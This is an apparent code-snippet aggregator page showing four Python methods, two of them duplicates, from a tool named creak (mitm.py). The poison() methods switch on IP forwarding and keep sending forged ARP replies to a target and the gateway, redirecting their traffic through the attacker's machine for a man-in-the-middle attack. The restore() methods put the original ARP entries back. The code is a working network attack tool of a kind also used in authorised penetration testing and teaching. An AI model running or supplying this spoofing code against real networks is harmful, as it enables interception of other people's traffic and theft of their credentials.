Example #1
0
 def restore(self, delay, target_b=None):
     """ reset arp cache of the target and the router (AP) """
     if not target_b:
         target_b = self.gateway
     source_mac = utils.get_mac_by_ip(target_b)
     sock = socket(PF_PACKET, SOCK_RAW)
     sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
     if not isinstance(self.target, list):
         target_mac = utils.get_mac_by_ip(self.target)
         for _ in xrange(6):
             sock.send(
                 str(
                     utils.build_arp_packet(target_mac, target_b,
                                            self.target)))
             sock.send(
                 str(
                     utils.build_arp_packet(source_mac, self.target,
                                            target_b)))
     else:
         for addr in self.target:
             target_mac = utils.get_mac_by_ip(addr)
             for _ in xrange(6):
                 sock.send(
                     str(utils.build_arp_packet(target_mac, target_b,
                                                addr)))
                 sock.send(
                     str(utils.build_arp_packet(source_mac, addr,
                                                target_b)))
Example #2
0
    def poison(self, delay, target_b=None):
        """
        poison arp cache of target and router, causing all traffic between them to
        pass inside our machine, MITM heart
        """
        if not target_b:
            target_b = self.gateway
        utils.set_ip_forward(1)
        sock = socket(PF_PACKET, SOCK_RAW)
        sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
        try:
            while True:
                if self.debug:
                    log.info('[+] %s <-- %s -- %s -- %s --> %s',
                             target_b, self.target, self.dev, target_b, self.target)
                    if not isinstance(self.target, list):
                        sock.send(str(utils.build_arp_packet(
                            self.src_mac, target_b, self.target)))
                        sock.send(str(utils.build_arp_packet(
                            self.src_mac, self.target, target_b)))
                        time.sleep(delay) # OS refresh ARP cache really often
                    else:
                        for addr in self.target:
                            sock.send(str(utils.build_arp_packet(self.src_mac, target_b, addr)))
                            sock.send(str(utils.build_arp_packet(self.src_mac, addr, target_b)))
                        time.sleep(delay) # OS refresh ARP cache really often

        except KeyboardInterrupt:
            print('\n\r[+] Poisoning interrupted')
            sock.close()
Example #3
0
File: mitm.py Project: codepr/creak
    def poison(self, delay, target_b=None):
        """
        poison arp cache of target and router, causing all traffic between them to
        pass inside our machine, MITM heart
        """
        if not target_b:
            target_b = self.gateway
        utils.set_ip_forward(1)
        sock = socket(PF_PACKET, SOCK_RAW)
        sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
        try:
            while True:
                if self.debug:
                    log.info('[+] %s <-- %s -- %s -- %s --> %s',
                             target_b, self.target, self.dev, target_b, self.target)
                    if not isinstance(self.target, list):
                        sock.send(str(utils.build_arp_packet(
                            self.src_mac, target_b, self.target)))
                        sock.send(str(utils.build_arp_packet(
                            self.src_mac, self.target, target_b)))
                        time.sleep(delay) # OS refresh ARP cache really often
                    else:
                        for addr in self.target:
                            sock.send(str(utils.build_arp_packet(self.src_mac, target_b, addr)))
                            sock.send(str(utils.build_arp_packet(self.src_mac, addr, target_b)))
                        time.sleep(delay) # OS refresh ARP cache really often

        except KeyboardInterrupt:
            print('\n\r[+] Poisoning interrupted')
            sock.close()
Example #4
0
File: mitm.py Project: codepr/creak
 def restore(self, delay, target_b=None):
     """ reset arp cache of the target and the router (AP) """
     if not target_b:
         target_b = self.gateway
     source_mac = utils.get_mac_by_ip(target_b)
     sock = socket(PF_PACKET, SOCK_RAW)
     sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
     if not isinstance(self.target, list):
         target_mac = utils.get_mac_by_ip(self.target)
         for _ in xrange(6):
             sock.send(str(utils.build_arp_packet(target_mac, target_b, self.target)))
             sock.send(str(utils.build_arp_packet(source_mac, self.target, target_b)))
     else:
         for addr in self.target:
             target_mac = utils.get_mac_by_ip(addr)
             for _ in xrange(6):
                 sock.send(str(utils.build_arp_packet(target_mac, target_b, addr)))
                 sock.send(str(utils.build_arp_packet(source_mac, addr, target_b)))